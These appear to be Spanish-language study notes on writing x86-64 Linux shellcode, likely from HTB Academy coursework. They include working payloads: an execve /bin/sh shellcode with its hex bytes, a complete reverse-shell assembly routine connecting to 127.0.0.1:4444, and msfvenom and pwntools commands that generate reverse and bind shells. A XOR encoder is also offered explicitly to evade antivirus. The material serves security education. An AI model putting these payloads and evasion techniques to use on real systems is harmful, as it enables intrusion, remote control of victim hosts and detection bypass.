Shellcoding
¿Por qué shellcoding en ASM?
Cuando explotas un binario (buffer overflow, use-after-free, etc.), puedes inyectar shellcode directamente en memoria. El shellcode se ejecuta en el contexto del proceso víctima.
Ventajas vs payload en C:
- No hay compilador que añada overhead
- Control byte a byte del código máquina
- Puedes optimizar para caber en buffers pequeños
- Sin dependencias de libc en runtime
Herramientas del arsenal
pwntools — suite completa
# Instalar
sudo pip3 install pwntools --break-system-packages
# ASM → shellcode hex
pwn asm 'mov al, 59' -c 'amd64'
# → b03b
# Shellcode hex → instrucciones
pwn disasm 'b03b4831d2' -c 'amd64'
# → mov al, 0x3b
# → xor rdx, rdx
# Ver shellcodes predefinidos
pwn shellcraft -l 'amd64.linux'
# Generar shellcode de /bin/sh
pwn shellcraft amd64.linux.sh
# → 6a6848b82f62696e2f2f2f73...
# Ejecutar shellcode directamente (test rápido)
pwn shellcraft amd64.linux.sh -rScripts fundamentales
shellcoder.py — extraer shellcode de binario
#!/usr/bin/python3
import sys
from pwn import *
context(os="linux", arch="amd64", log_level="error")
file = ELF(sys.argv[1])
shellcode = file.section(".text")
print(shellcode.hex())
print("%d bytes - Found NULL byte" % len(shellcode)) \
if [i for i in shellcode if i == 0] \
else print("%d bytes - No NULL bytes" % len(shellcode))loader.py — ejecutar shellcode hex
#!/usr/bin/python3
import sys
from pwn import *
context(os="linux", arch="amd64", log_level="error")
run_shellcode(unhex(sys.argv[1])).interactive()assembler.py — shellcode → ELF debuggeable
#!/usr/bin/python3
import sys, os, stat
from pwn import *
context(os="linux", arch="amd64", log_level="error")
ELF.from_bytes(unhex(sys.argv[1])).save(sys.argv[2])
os.chmod(sys.argv[2], stat.S_IEXEC)# Uso:
python3 shellcoder.py ./binario
python3 loader.py 'b03b4831d2...'
python3 assembler.py 'b03b4831d2...' output_elf
gdb -q ./output_elf
b *0x401000Los 3 Requisitos del Shellcode
❶ Sin variables (no .data)
¿Por qué? El shellcode se inyecta solo en .text (código). No puedes referenciar .data porque no existe en el contexto donde se ejecuta.
Técnica A — String directo en registro (máx 8 bytes)
; Solo sirve para strings de ≤ 8 bytes
mov rsi, 'Academy!' ; 8 chars = 8 bytes = 1 registro ✓Técnica B — Push de chunks al stack (cualquier tamaño)
; "Hello HTB Academy!" = 18 bytes → 3 pushes de 8
; se mete en orden INVERSO (LIFO)
xor rbx, rbx
mov bx, 'y!' ; chunk 3 (últimos chars)
push rbx
mov rbx, 'B Academ' ; chunk 2
push rbx
mov rbx, 'Hello HT' ; chunk 1 (primeros chars)
push rbx
mov rsi, rsp ; rsi → "Hello HTB Academy!" en stack
; el stack lo ordena solo gracias al LIFO¿Cómo funciona el stack con strings?
Push 'Hello HT' → stack: [Hello HT]
Push 'B Academ' → stack: [B Academ][Hello HT]
Push 'y!' → stack: [y! ][B Academ][Hello HT]
↑ rsp
rsi = rsp → apunta a 'y!...' NO, espera...
; IMPORTANTE: el stack crece hacia abajo
; lo último pusheado está en la dirección MÁS BAJA
; pero se lee de izquierda a derecha desde rsp:
; rsp → "Hello HTB Academy!\0" ← correcto porque los pushes
; son en orden inverso al string❷ Sin direcciones absolutas
¿Por qué? El shellcode puede cargarse en cualquier dirección de memoria. Una dirección absoluta como 0x402000 no existirá en el proceso víctima.
Solución: siempre usar labels o rip-relativo
; Dirección absoluta — se rompe si cambia la base
call 0x401050
; Label — nasm lo convierte a offset relativo automáticamente
call miFuncion
; RIP-relativo — funciona con PIE y ASLR
lea rdi, [rel binsh] ; rdi = rip + offset_calculado_por_nasmTécnica para mov con direcciones
; mov con dirección absoluta
mov rdi, 0x402000
; Poner string en el stack y usar rsp
push 0
mov rdi, '/bin//sh'
push rdi
mov rdi, rsp ; rdi → dirección válida en stack❸ Sin NULL bytes (0x00)
¿Por qué? C usa NULL como terminador de string. Si tu shellcode pasa por strcpy, gets u otras funciones de string, el 0x00 termina la copia y el shellcode queda truncado.
Causa más común — registros grandes con valores pequeños
; Genera NULL bytes
mov rax, 1 ; → b8 01 00 00 00 (padding de 3 bytes nulos)
mov rdi, 1 ; → 48 bf 01 00 00 00 00 00 00 00 (7 bytes nulos!)
mov rdx, 18 ; → ba 12 00 00 00 00 00 00 00 00
; Sin NULL bytes — subregistros
xor rax, rax ; limpiar primero (sin null bytes: 48 31 c0)
mov al, 1 ; → b0 01 (solo 2 bytes, sin nulls ✓)
xor rdi, rdi
mov dil, 1
xor rdx, rdx
mov dl, 18Verificar null bytes
pwn asm 'mov rax, 1' -c 'amd64' | xxd
# b8 01 00 00 00 ← 3 null bytes
pwn asm 'xor rax, rax; mov al, 1' -c 'amd64' | xxd
# 48 31 c0 b0 01 ← sin null bytes ✓Shellcode de /bin/sh — paso a paso
Objetivo
execve("/bin//sh", ["/bin//sh", NULL], NULL)
// syscall 59: rax=59, rdi→"/bin//sh", rsi→argv, rdx=NULLVersión con NULL bytes (NO funciona como shellcode)
global _start
section .text
_start:
mov rax, 59 ; ← genera NULL bytes
push 0 ; ← genera NULL bytes
mov rdi, '/bin//sh'
push rdi
mov rdi, rsp
push 0 ; ← NULL bytes
push rdi
mov rsi, rsp
mov rdx, 0 ; ← NULL bytes
syscallVersión limpia (shellcode funcional)
global _start
section .text
_start:
; rax = 59 sin null bytes
xor rax, rax
mov al, 59 ; execve syscall number
; rdx = NULL (envp)
xor rdx, rdx
; Construir "/bin//sh" en el stack
push rdx ; null terminator (rdx ya es 0, sin null bytes)
mov rdi, '/bin//sh' ; 8 bytes exactos — encaja perfecto
push rdi
mov rdi, rsp ; rdi → "/bin//sh\0"
; Construir argv = ["/bin//sh", NULL]
push rdx ; NULL (fin de argv)
push rdi ; puntero a "/bin//sh"
mov rsi, rsp ; rsi → [ptr_binsh, NULL]
syscall ; execve("/bin//sh", ["/bin//sh"], NULL)# Compilar y probar
nasm -f elf64 shell.s -o shell.o
ld shell.o -o shell
./shell # debería darte una shell
# Extraer shellcode
python3 shellcoder.py ./shell
# b03b4831d25248bf2f62696e2f2f7368574889e752574889e60f05
# 27 bytes - No NULL bytes ✓Shellcode de Reverse Shell — ejemplo completo
; Reverse shell: conecta a 127.0.0.1:4444
; shellcode sin null bytes
global _start
section .text
_start:
; ── socket(AF_INET=2, SOCK_STREAM=1, 0) ──
xor rax, rax
mov al, 41 ; socket syscall
xor rdi, rdi
mov dil, 2 ; AF_INET
xor rsi, rsi
mov sil, 1 ; SOCK_STREAM
xor rdx, rdx ; protocol=0
syscall
mov rbx, rax ; guardar sockfd (rbx = callee-saved)
; ── connect(sockfd, &sockaddr, 16) ──
; struct sockaddr_in:
; sin_family = AF_INET (2)
; sin_port = 4444 en big-endian = 0x5c11
; sin_addr = 127.0.0.1 = 0x0100007f
xor rax, rax
push rax ; padding + parte de sin_addr
push dword 0x0100007f ; 127.0.0.1 (puede tener 00s — depende de IP)
push word 0x5c11 ; puerto 4444
push word 0x0002 ; AF_INET
mov rsi, rsp ; rsi → struct sockaddr_in
mov rax, 42 ; connect syscall
mov rdi, rbx ; sockfd
mov rdx, 16 ; sizeof sockaddr_in
syscall
; ── dup2(sockfd, 0/1/2) — redirigir I/O ──
xor rax, rax
mov al, 33 ; dup2 syscall
mov rdi, rbx ; sockfd
xor rsi, rsi ; newfd = 0 (stdin)
syscall
mov al, 33
mov rdi, rbx
mov sil, 1 ; newfd = 1 (stdout)
syscall
mov al, 33
mov rdi, rbx
mov sil, 2 ; newfd = 2 (stderr)
syscall
; ── execve("/bin//sh") ──
xor rdx, rdx
push rdx
mov rdi, '/bin//sh'
push rdi
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
xor rax, rax
mov al, 59
syscallShellcoding Tools
msfvenom — generar y encodear
# Listar payloads Linux x64
msfvenom -l payloads | grep 'linux/x64'
# Generar shell shellcode
msfvenom -p linux/x64/exec CMD='sh' -a x64 -platform linux -f hex
# Generar reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f hex
# Encodear para evadir AV (XOR encoder)
msfvenom -p linux/x64/exec CMD='sh' -a x64 -platform linux -f hex -e x64/xor
# Encodear tu propio shellcode
python3 -c "import sys; sys.stdout.buffer.write(bytes.fromhex('TU_SHELLCODE'))" > shell.bin
msfvenom -p - -a x64 -platform linux -f hex -e x64/xor < shell.binshellcraft — pwntools
from pwn import *
context(os="linux", arch="amd64", log_level="error")
# /bin/sh simple
sc = shellcraft.sh()
print(asm(sc).hex())
# execve con argumentos
sc = shellcraft.execve('/bin/sh', ['/bin/sh'])
print(asm(sc).hex())
# read flag y escribirlo a stdout
sc = shellcraft.cat('/flag')
print(asm(sc).hex())
# bind shell en puerto 4444
sc = shellcraft.bindsh(4444, 'ipv4')
print(asm(sc).hex())
# reverse shell
sc = shellcraft.connect('127.0.0.1', 4444) + shellcraft.dupsh()
print(asm(sc).hex())Técnicas de Evasión
XOR Encoder manual
; El shellcode se guarda encriptado en el binario
; Solo se desencripta en memoria al ejecutarse
section .text
_start:
; decodificador
lea rdi, [rel shellcode_enc] ; puntero al shellcode encriptado
xor rcx, rcx
mov cl, shellcode_len ; tamaño
xor al, al
mov al, 0x41 ; clave XOR
decode:
xor byte [rdi], al ; desencriptar byte
inc rdi
loop decode
; ejecutar shellcode desencriptado
lea rdi, [rel shellcode_enc]
jmp rdi
shellcode_enc:
; aquí van los bytes del shellcode XOR-eados con 0x41
; generados con: for b in shellcode: print(b ^ 0x41)
db 0xF1, 0x7A, ...
shellcode_len equ $ - shellcode_encNull byte alternatives
; En vez de push 0 (puede generar 00):
xor rax, rax
push rax ; push de registro que ya es 0 ✓
; En vez de mov rax, 0:
xor rax, rax ✓
; En vez de mov rdx, 0:
xor rdx, rdx ✓
; Para el número 256 (0x100 — tiene 00):
xor rax, rax
mov ax, 0x100 ; solo 2 bytes, sin null bytes internos
; → 66 b8 00 01 — tiene 00 en ax... alternativa:
xor rcx, rcx
inc rcx
shl rcx, 8 ; rcx = 256 sin usar 0x100 directoFlujo completo de desarrollo de shellcode
1. Escribir en ASM normal primero (con variables, sin preocuparse)
2. Compilar y probar que funciona
3. Extraer con shellcoder.py — ver si hay NULL bytes
4. Aplicar los 3 requisitos:
- Mover strings al stack
- Cambiar call 0xaddr por call label
- Cambiar mov reg, val por xor+mov subregistro
5. Recompilar y volver a extraer
6. Verificar "No NULL bytes"
7. Probar con loader.py
8. Si falla, debuggear con assembler.py + gdb
Comandos de verificación rápida:
pwn asm 'instrucción' -c 'amd64' | xxd | grep ' 00' ← buscar null bytes
python3 shellcoder.py ./binario ← extraer y verificar
python3 loader.py 'hex_shellcode' ← ejecutar y probar